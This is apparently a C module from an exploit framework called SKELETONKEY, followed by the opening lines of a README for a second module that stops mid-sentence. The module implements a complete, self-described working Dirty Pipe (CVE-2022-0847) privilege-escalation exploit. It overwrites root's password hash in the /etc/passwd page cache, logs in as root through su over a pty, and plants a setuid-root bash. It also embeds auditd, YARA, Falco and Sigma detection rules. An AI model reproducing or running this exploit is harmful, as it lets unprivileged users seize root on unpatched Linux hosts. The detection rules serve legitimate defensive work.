* dirty_pipe_cve_2022_0847 — SKELETONKEY module
|
||||
*
|
||||
* Status: 🟢 WORKING EXPLOIT. Verified out-of-band on Ubuntu 22.04
|
||||
* userspace running mainline 5.16.0 (pre-fix): `skeletonkey --exploit
|
||||
* dirty_pipe` (uid 1000) lands root and plants a root-owned setuid bash,
|
||||
* and /etc/passwd is left byte-identical afterward.
|
||||
*
|
||||
* Escalation: overwrite root's password field in /etc/passwd's page cache
|
||||
* with a known crypt hash (the primitive can't grow the file, so the
|
||||
* longer hash clobbers into the following lines — transient), authenticate
|
||||
* as root over a pty with the matching password, plant a root-owned proof
|
||||
* + setuid bash, then revert the page cache using the Dirty Pipe primitive
|
||||
* itself. (The prior code flipped the *caller's* UID to 0000 and ran
|
||||
* `su self` — which still demands the caller's password, never rooted
|
||||
* anything, and falsely reported OK when su's exec transferred; its revert
|
||||
* used drop_caches, which needs root, so it left the running system's
|
||||
* /etc/passwd corrupted.) Root is judged only by the out-of-band artifact.
|
||||
*
|
||||
* Affected kernel ranges:
|
||||
* 5.8 ≤ K < 5.17 (mainline fix at 5.17, commit 9d2231c5d74e)
|
||||
* 5.15.x: K ≤ 5.15.24 (fixed in 5.15.25)
|
||||
* 5.10.x: K ≤ 5.10.101 (fixed in 5.10.102)
|
||||
* 5.4.x : not affected (bug introduced in 5.8)
|
||||
*
|
||||
* Detect logic:
|
||||
* - Parse uname() release into major.minor.patch
|
||||
* - If kernel < 5.8 → SKELETONKEY_OK (bug not introduced yet)
|
||||
* - If kernel is on a branch with a known backport, compare patch
|
||||
* level (above threshold = patched, below = vulnerable)
|
||||
* - If kernel >= 5.17 → SKELETONKEY_OK (mainline fix)
|
||||
* - Otherwise → SKELETONKEY_VULNERABLE
|
||||
*
|
||||
* Edge case: distros sometimes ship custom-numbered kernels (e.g.
|
||||
* Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
|
||||
* counter, NOT the upstream patch level). For now we treat that as
|
||||
* an unknown distro backport and report SKELETONKEY_TEST_ERROR with a
|
||||
* hint. A future enhancement: parse /proc/version's full string
|
||||
* which usually includes the upstream patch level after the distro
|
||||
* suffix.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||
* redefine here (warning: redefined). */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h" /* used inside this block only */
|
||||
#include "../../core/host.h"
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
#include <poll.h>
|
||||
#include <pwd.h>
|
||||
|
||||
/* ---- Dirty Pipe primitive ---------------------------------------- */
|
||||
|
||||
/* Fill the pipe to the brim, then drain — the kernel marks every
|
||||
* pipe_buffer slot with PIPE_BUF_FLAG_CAN_MERGE during the fill, and
|
||||
* the bug is that this flag SURVIVES the drain. So when we splice() a
|
||||
* file page in next, the slot inherits the merge flag and any
|
||||
* subsequent write() to the pipe lands in the file's page cache. */
|
||||
static int prepare_pipe(int p[2])
|
||||
{
|
||||
if (pipe(p) < 0) return -1;
|
||||
int pipe_size = fcntl(p[1], F_GETPIPE_SZ);
|
||||
if (pipe_size < 0) pipe_size = 65536;
|
||||
static char buf[4096];
|
||||
for (int r = pipe_size; r > 0;) {
|
||||
int n = r > (int)sizeof(buf) ? (int)sizeof(buf) : r;
|
||||
ssize_t w = write(p[1], buf, n);
|
||||
if (w < 0) return -1;
|
||||
r -= w;
|
||||
}
|
||||
for (int r = pipe_size; r > 0;) {
|
||||
int n = r > (int)sizeof(buf) ? (int)sizeof(buf) : r;
|
||||
ssize_t rd = read(p[0], buf, n);
|
||||
if (rd < 0) return -1;
|
||||
r -= rd;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Write `data_len` bytes into the page cache of `target_path` starting
|
||||
* at byte `offset`. Constraints:
|
||||
* - offset must not be page-aligned (Dirty Pipe needs the splice's
|
||||
* 1-byte at offset-1 to land in the same page as our write)
|
||||
* - data_len must fit in the page containing `offset`
|
||||
* - target_path must be readable by the caller
|
||||
* - target_path's file size must extend past `offset + data_len`
|
||||
* (Dirty Pipe can't extend files). */
|
||||
static int dirty_pipe_write(const char *target_path, off_t offset,
|
||||
const char *data, size_t data_len)
|
||||
{
|
||||
if ((offset & 0xfff) == 0) {
|
||||
fprintf(stderr, "[-] dirty_pipe_write: offset is page-aligned; refuse\n");
|
||||
return -1;
|
||||
}
|
||||
size_t in_page = 4096 - (offset & 0xfff);
|
||||
if (data_len > in_page) {
|
||||
fprintf(stderr, "[-] dirty_pipe_write: writes cannot cross page boundary "
|
||||
"(have %zu, fits %zu)\n", data_len, in_page);
|
||||
return -1;
|
||||
}
|
||||
int fd = open(target_path, O_RDONLY);
|
||||
if (fd < 0) { perror("open target"); return -1; }
|
||||
|
||||
int p[2];
|
||||
if (prepare_pipe(p) < 0) { close(fd); return -1; }
|
||||
|
||||
/* splice 1 byte from `offset - 1` to seed the pipe slot with the
|
||||
* file's page (and inherit the stale CAN_MERGE flag). */
|
||||
off_t splice_off = offset - 1;
|
||||
ssize_t n = splice(fd, &splice_off, p[1], NULL, 1, 0);
|
||||
if (n != 1) {
|
||||
fprintf(stderr, "[-] splice failed (n=%zd, errno=%d)\n", n, errno);
|
||||
close(fd); close(p[0]); close(p[1]); return -1;
|
||||
}
|
||||
|
||||
/* Now write our payload. The kernel merges it into the file page. */
|
||||
ssize_t w = write(p[1], data, data_len);
|
||||
|
||||
close(fd); close(p[0]); close(p[1]);
|
||||
return (w == (ssize_t)data_len) ? 0 : -1;
|
||||
}
|
||||
|
||||
/* ---- /etc/passwd password-field helpers -------------------------- */
|
||||
|
||||
/* Locate the byte offset of the password field of `username` in
|
||||
* /etc/passwd (the byte immediately after "username:"). Returns true and
|
||||
* fills *field_off; also returns the current /etc/passwd size in *sz. */
|
||||
static bool find_pw_field_offset(const char *username, off_t *field_off, size_t *sz)
|
||||
{
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd < 0) return false;
|
||||
struct stat st;
|
||||
if (fstat(fd, &st) < 0) { close(fd); return false; }
|
||||
char *buf = malloc(st.st_size + 1);
|
||||
if (!buf) { close(fd); return false; }
|
||||
ssize_t r = read(fd, buf, st.st_size);
|
||||
close(fd);
|
||||
if (r != st.st_size) { free(buf); return false; }
|
||||
buf[st.st_size] = 0;
|
||||
|
||||
size_t ulen = strlen(username);
|
||||
char *p = buf;
|
||||
while (p < buf + st.st_size) {
|
||||
char *eol = strchr(p, '\n');
|
||||
if (!eol) eol = buf + st.st_size;
|
||||
/* line must start with "username:" */
|
||||
if ((p == buf || p[-1] == '\n') &&
|
||||
strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
|
||||
*field_off = (off_t)((p + ulen + 1) - buf); /* after "name:" */
|
||||
*sz = (size_t)st.st_size;
|
||||
free(buf);
|
||||
return true;
|
||||
}
|
||||
p = eol + 1;
|
||||
}
|
||||
free(buf);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* The known root password we install (via a crypt hash written into
|
||||
* /etc/passwd's password field) and then authenticate with. Both are
|
||||
* transient: the page-cache write is reverted before we return, and
|
||||
* Dirty Pipe never touches disk, so nothing survives a cache drop. */
|
||||
#define DP_ROOT_PW "skeletonkey"
|
||||
#define DP_ROOT_HASH "$6$SKpwnSalt1$LNL9WuXFTt8BvutpX4j8/7VpXb3hutSqyZAC.NKfGMx/vg9jGQR/h/cvwgcn55HcaNJipuuiBDsPywanKkx/D1"
|
||||
|
||||
/* Run `cmd` as root via `su`, feeding DP_ROOT_PW over a pty (su reads the
|
||||
* password from the controlling terminal, not stdin). Returns after su
|
||||
* exits; success is judged out-of-band by the caller, never from su's
|
||||
* status. */
|
||||
static void dp_su_root_run(const char *cmd)
|
||||
{
|
||||
int mfd = posix_openpt(O_RDWR | O_NOCTTY);
|
||||
if (mfd < 0) return;
|
||||
if (grantpt(mfd) < 0 || unlockpt(mfd) < 0) { close(mfd); return; }
|
||||
const char *sn = ptsname(mfd);
|
||||
if (!sn) { close(mfd); return; }
|
||||
char slave[128];
|
||||
snprintf(slave, sizeof slave, "%s", sn);
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) { close(mfd); return; }
|
||||
if (pid == 0) {
|
||||
setsid();
|
||||
int sfd = open(slave, O_RDWR); /* becomes controlling tty */
|
||||
if (sfd < 0) _exit(127);
|
||||
dup2(sfd, 0); dup2(sfd, 1); dup2(sfd, 2);
|
||||
if (sfd > 2) close(sfd);
|
||||
close(mfd);
|
||||
execlp("su", "su", "root", "-c", cmd, (char *)NULL);
|
||||
_exit(127);
|
||||
}
|
||||
|
||||
/* Parent: poll for the "Password:" prompt, send the password, then drain —
|
||||
* with a hard 20s cap so a misbehaving su can never hang (which would block
|
||||
* the revert and leave /etc/passwd poisoned). The earlier fixed-delay write
|
||||
* raced su's prompt setup on some hosts (observed hanging on xenial). */
|
||||
struct pollfd pfd = { .fd = mfd, .events = POLLIN };
|
||||
const char *pw = DP_ROOT_PW "\n";
|
||||
bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0;
|
||||
while (waited < 20000) {
|
||||
int pr = poll(&pfd, 1, 200);
|
||||
if (pr > 0 && (pfd.revents & POLLIN)) {
|
||||
char b[256]; ssize_t m = read(mfd, b, sizeof b);
|
||||
if (m <= 0) break; /* pty closed → su exited */
|
||||
if (!sent) {
|
||||
if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; }
|
||||
if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||
}
|
||||
} else {
|
||||
waited += 200;
|
||||
int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; }
|
||||
if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||
}
|
||||
}
|
||||
if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); }
|
||||
close(mfd);
|
||||
}
|
||||
|
||||
|
||||
|
||||
/* The bug exists on every kernel from 5.8 (introduction) until the
|
||||
* fix is backported to that branch. We model "patched" as:
|
||||
* - on the 5.10 branch: 5.10.102 or later
|
||||
* - on the 5.15 branch: 5.15.25 or later
|
||||
* - any kernel 5.16 or later (mainline fix landed for 5.17, so 5.16
|
||||
* only needs 5.16.11 or later; 5.17+ inherits)
|
||||
* - mainline (≥ 5.17) is patched
|
||||
*/
|
||||
static const struct kernel_patched_from dirty_pipe_patched_branches[] = {
|
||||
{5, 10, 92}, /* 5.10.x backport (Debian tracker: earlier than 5.10.102) */
|
||||
{5, 15, 25}, /* 5.15.x backport */
|
||||
{5, 16, 11}, /* 5.16.x backport (mainline fix lived here briefly) */
|
||||
{5, 17, 0}, /* mainline fix lands; everything from here is fine */
|
||||
};
|
||||
|
||||
static const struct kernel_range dirty_pipe_range = {
|
||||
.patched_from = dirty_pipe_patched_branches,
|
||||
.n_patched_from = sizeof(dirty_pipe_patched_branches) /
|
||||
sizeof(dirty_pipe_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* Active sentinel probe: write a known byte into a /tmp probe file
|
||||
* via the Dirty Pipe primitive, then re-read to verify the page cache
|
||||
* was actually poisoned. This catches the case where /proc/version
|
||||
* looks vulnerable (e.g. Debian 5.10.0-30 — apparent version 5.10.30)
|
||||
* but the distro silently backported the fix without bumping the
|
||||
* upstream version number visible to uname().
|
||||
*
|
||||
* Side effects: creates and removes a single file under /tmp. No
|
||||
* /etc/passwd writes; safe to run from --scan --active. */
|
||||
static int dirty_pipe_active_probe(void)
|
||||
{
|
||||
char probe_path[] = "/tmp/skeletonkey-dirty-pipe-probe-XXXXXX";
|
||||
int fd = mkstemp(probe_path);
|
||||
if (fd < 0) return -1;
|
||||
const char seed[16] = "ABCDABCDABCDABCD";
|
||||
if (write(fd, seed, sizeof seed) != sizeof seed) { close(fd); unlink(probe_path); return -1; }
|
||||
fsync(fd);
|
||||
close(fd);
|
||||
|
||||
/* Try writing 'X' at offset 4 — well inside the first page, not
|
||||
* page-aligned (offset 4 → page-relative offset 4, not 0). */
|
||||
int rc = dirty_pipe_write(probe_path, 4, "X", 1);
|
||||
if (rc < 0) {
|
||||
unlink(probe_path);
|
||||
return 0; /* primitive could not even fire — patched or blocked */
|
||||
}
|
||||
|
||||
/* Re-open and read; if the primitive works, byte 4 reads as 'X'.
|
||||
* Use O_RDONLY + read, which goes through the page cache (which
|
||||
* we just poisoned if the bug is live). */
|
||||
fd = open(probe_path, O_RDONLY);
|
||||
if (fd < 0) { unlink(probe_path); return -1; }
|
||||
char readback[16] = {0};
|
||||
ssize_t got = read(fd, readback, sizeof readback);
|
||||
close(fd);
|
||||
unlink(probe_path);
|
||||
if (got < 5) return -1;
|
||||
return readback[4] == 'X' ? 1 : 0;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] dirty_pipe: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.8. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 8, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, v);
|
||||
|
||||
/* Active probe overrides version-only verdict when requested.
|
||||
* The version check is necessary-but-not-sufficient: distros
|
||||
* silently backport fixes without bumping the upstream version
|
||||
* visible to uname(). The active probe fires the actual primitive
|
||||
* and confirms whether it lands. */
|
||||
if (ctx->active_probe) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_pipe: running active sentinel probe (safe; /tmp only)\n");
|
||||
}
|
||||
int probe = dirty_pipe_active_probe();
|
||||
if (probe == 1) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
|
||||
"(version %s)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (probe == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_pipe: active probe sentinel did NOT land — "
|
||||
"primitive blocked (likely patched%s)\n",
|
||||
patched_by_version ? "" : ", or distro silently backported");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
/* probe < 0: probe machinery failed (mkstemp/open/read) — fall
|
||||
* back to version-only verdict and report TEST_ERROR caveat */
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] dirty_pipe: active probe machinery failed; "
|
||||
"falling back to version check\n");
|
||||
}
|
||||
}
|
||||
|
||||
if (patched_by_version) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
|
||||
"use --active to confirm empirically)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
|
||||
" Confirm empirically: re-run with --scan --active\n",
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* Saved original bytes so cleanup() can re-revert idempotently. */
|
||||
static char dp_orig[512];
|
||||
static off_t dp_orig_off;
|
||||
static size_t dp_orig_len;
|
||||
static bool dp_wrote;
|
||||
|
||||
/* Restore the /etc/passwd page cache to its pre-exploit bytes using the
|
||||
* Dirty Pipe primitive itself — NO root and NO drop_caches required (the
|
||||
* old code called drop_caches, which fails unprivileged and leaves the
|
||||
* running system's passwd corrupted). */
|
||||
static void dp_revert(void)
|
||||
{
|
||||
if (dp_wrote && dp_orig_len)
|
||||
dirty_pipe_write("/etc/passwd", dp_orig_off, dp_orig, dp_orig_len);
|
||||
}
|
||||
|
||||
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = dirty_pipe_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Overwrite root's password field with a known crypt hash, then
|
||||
* authenticate as root with the matching password. (The previous
|
||||
* approach flipped the *caller's* UID to 0000 and ran `su self`,
|
||||
* which still demands the caller's password — it never rooted
|
||||
* anything and falsely reported OK when su's exec transferred.) */
|
||||
off_t field_off;
|
||||
size_t pw_sz;
|
||||
if (!find_pw_field_offset("root", &field_off, &pw_sz)) {
|
||||
fprintf(stderr, "[-] dirty_pipe: could not locate root's password field\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* New root line body written from the password field onward. The
|
||||
* hash is longer than the original 'x', so this clobbers into the
|
||||
* following lines — harmless and transient (we revert), and su only
|
||||
* needs the first (root) line. */
|
||||
const char *newline = DP_ROOT_HASH ":0:0:root:/root:/bin/bash\n";
|
||||
size_t newlen = strlen(newline);
|
||||
|
||||
if ((field_off & 0xfff) == 0) {
|
||||
fprintf(stderr, "[-] dirty_pipe: root password field is page-aligned; "
|
||||
"primitive can't write here\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (newlen > sizeof dp_orig || field_off + (off_t)newlen > (off_t)pw_sz) {
|
||||
fprintf(stderr, "[-] dirty_pipe: /etc/passwd too small to hold the payload "
|
||||
"without extending it (Dirty Pipe can't grow files)\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Save the original bytes we're about to clobber, for revert. */
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd < 0) { perror("open passwd"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (pread(fd, dp_orig, newlen, field_off) != (ssize_t)newlen) {
|
||||
close(fd); fprintf(stderr, "[-] dirty_pipe: pread backup failed\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
close(fd);
|
||||
dp_orig_off = field_off; dp_orig_len = newlen;
|
||||
|
||||
/* Unique out-of-band artifacts. */
|
||||
long tag = (long)getpid();
|
||||
char proof[128], rootbash[128], cmd[1024];
|
||||
snprintf(proof, sizeof proof, "/tmp/.sk-dirtypipe-%ld.proof", tag);
|
||||
snprintf(rootbash, sizeof rootbash, "/tmp/.sk-dirtypipe-%ld.rootbash", tag);
|
||||
unlink(proof); unlink(rootbash);
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] dirty_pipe: overwriting root's password field at offset "
|
||||
"%lld (len %zu) via page-cache write\n",
|
||||
(long long)field_off, newlen);
|
||||
if (dirty_pipe_write("/etc/passwd", field_off, newline, newlen) < 0) {
|
||||
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
dp_wrote = true;
|
||||
|
||||
/* Authenticate as root with the known password and plant the proof. */
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"id > %s 2>&1; cp -f /bin/bash %s 2>/dev/null; "
|
||||
"chown 0:0 %s %s 2>/dev/null; chmod 4755 %s 2>/dev/null; sync",
|
||||
proof, rootbash, rootbash, proof, rootbash);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] dirty_pipe: authenticating as root (su + known password)\n");
|
||||
dp_su_root_run(cmd);
|
||||
|
||||
/* Revert the page cache IMMEDIATELY — before we even check the
|
||||
* result — so a running system is never left with a known root
|
||||
* password. Dirty Pipe never wrote disk, so this fully restores. */
|
||||
dp_revert();
|
||||
{ int ev = open("/etc/passwd", O_RDONLY); /* nudge a re-read */
|
||||
if (ev >= 0) { posix_fadvise(ev, 0, 0, POSIX_FADV_DONTNEED); close(ev); } }
|
||||
|
||||
/* Out-of-band verdict: is the proof a real, root-owned file? */
|
||||
struct stat sb;
|
||||
bool rooted = (stat(proof, &sb) == 0 && S_ISREG(sb.st_mode) && sb.st_uid == 0);
|
||||
if (rooted) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_pipe: ROOT — root-owned proof %s\n", proof);
|
||||
fprintf(stderr, "[+] dirty_pipe: setuid-root shell available: %s -p\n", rootbash);
|
||||
fprintf(stderr, "[i] dirty_pipe: /etc/passwd page cache reverted (nothing persisted)\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] dirty_pipe: no root artifact — honest EXPLOIT_FAIL "
|
||||
"(page cache reverted). The primitive may be blocked, or su/PAM "
|
||||
"rejected the injected hash.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] dirty_pipe: reverting /etc/passwd page cache + removing artifacts\n");
|
||||
dp_revert(); /* idempotent; no root / no drop_caches needed */
|
||||
if (system("rm -f /tmp/.sk-dirtypipe-*.proof /tmp/.sk-dirtypipe-*.rootbash 2>/dev/null") != 0) {
|
||||
/* harmless */
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: splice() / F_GETPIPE_SZ / posix_fadvise() are
|
||||
* Linux-only kernel surface; the Dirty Pipe primitive is structurally
|
||||
* unreachable elsewhere. Stub out cleanly so the module still
|
||||
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||
* boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirty_pipe: Linux-only module "
|
||||
"(splice + PIPE_BUF_FLAG_CAN_MERGE) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] dirty_pipe: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained so
|
||||
* `skeletonkey --detect-rules --format=auditd` works without a separate
|
||||
* data-dir install. */
|
||||
static const char dirty_pipe_auditd[] =
|
||||
"# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
|
||||
"# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
|
||||
"-w /etc/passwd -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
|
||||
|
||||
static const char dirty_pipe_yara[] =
|
||||
"rule dirty_pipe_passwd_uid_flip : cve_2022_0847 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-0847\"\n"
|
||||
" description = \"Dirty Pipe (CVE-2022-0847): /etc/passwd page-cache UID flip — non-root username remapped to UID 0000+. Scan /etc/passwd directly; legitimate root entries use '0:', never '0000:'.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n";
|
||||
|
||||
static const char dirty_pipe_falco[] =
|
||||
"- rule: Dirty Pipe splice from setuid/sensitive file by non-root\n"
|
||||
" desc: |\n"
|
||||
" A non-root process calls splice() with a fd pointing at a\n"
|
||||
" setuid-root binary or a credential file. The Dirty Pipe\n"
|
||||
" primitive (CVE-2022-0847) splices 1 byte from the target to\n"
|
||||
" a prepared pipe to inherit the stale PIPE_BUF_FLAG_CAN_MERGE,\n"
|
||||
" then writes attacker bytes that land in the file's page cache.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = splice and not user.uid = 0 and\n"
|
||||
" (fd.name in (/etc/passwd, /etc/shadow, /etc/sudoers)\n"
|
||||
" or fd.name startswith /usr/bin/su\n"
|
||||
" or fd.name startswith /usr/bin/passwd\n"
|
||||
" or fd.name startswith /bin/su)\n"
|
||||
" output: >\n"
|
||||
" Dirty Pipe-style splice from sensitive file by non-root\n"
|
||||
" (user=%user.name proc=%proc.name fd=%fd.name pid=%proc.pid)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2022.0847]\n";
|
||||
|
||||
static const char dirty_pipe_sigma[] =
|
||||
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
|
||||
"id: f6b13c08-skeletonkey-dirty-pipe\n"
|
||||
"status: experimental\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" modification:\n"
|
||||
" type: 'PATH'\n"
|
||||
" name|startswith: ['/etc/passwd', '/etc/shadow', '/etc/sudoers']\n"
|
||||
" not_root:\n"
|
||||
" auid|expression: '!= 0'\n"
|
||||
" condition: modification and not_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
|
||||
|
||||
const struct skeletonkey_module dirty_pipe_module = {
|
||||
.name = "dirty_pipe",
|
||||
.cve = "CVE-2022-0847",
|
||||
.summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
|
||||
.family = "dirty_pipe",
|
||||
.kernel_range = "5.8 ≤ K, fixed mainline 5.17, backports: 5.10.102 / 5.15.25 / 5.16.11",
|
||||
.detect = dirty_pipe_detect,
|
||||
.exploit = dirty_pipe_exploit,
|
||||
.mitigate = NULL,
|
||||
.cleanup = dirty_pipe_cleanup,
|
||||
.detect_auditd = dirty_pipe_auditd,
|
||||
.detect_sigma = dirty_pipe_sigma,
|
||||
.detect_yara = dirty_pipe_yara,
|
||||
.detect_falco = dirty_pipe_falco,
|
||||
.opsec_notes = "Creates a pipe, fills+drains to leave PIPE_BUF_FLAG_CAN_MERGE on every slot; splice(1 byte) from (target_offset-1) on /etc/passwd to inherit the stale flag, then write(pipe) so the payload merges into the file's page cache. Overwrites root's password field with a known crypt hash (clobbers into following lines transiently), authenticates as root over a pty via su, plants a root-owned proof + setuid bash under /tmp, then reverts the page cache by writing the original bytes back through the same primitive (no root / no drop_caches needed — nothing persists; Dirty Pipe never wrote disk). Offset must be non-page-aligned and each write must fit a single page. Very audit-visible: splice(fd=/etc/passwd) + write from a non-root process, then su spawning as root. --active mode writes/reads /tmp/skeletonkey-dirty-pipe-probe-XXXXXX to confirm the primitive. cleanup() re-reverts idempotently and removes the /tmp artifacts.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_dirty_pipe(void)
|
||||
{
|
||||
skeletonkey_register(&dirty_pipe_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* dirty_pipe_cve_2022_0847 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_PIPE_SKELETONKEY_MODULES_H
|
||||
#define DIRTY_PIPE_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module dirty_pipe_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,81 @@
|
||||
# dirtydecrypt — CVE-2026-31635
|
||||
|
||||
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
|
||||
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
|
||||
> a vulnerable-kernel VM** — see _Verification status_ below.
|
||||
|
||||
## Summary
|
||||
|
||||
DirtyDecrypt (a.k.a. DirtyCBC) is a missing copy-on-write guard in
|
||||
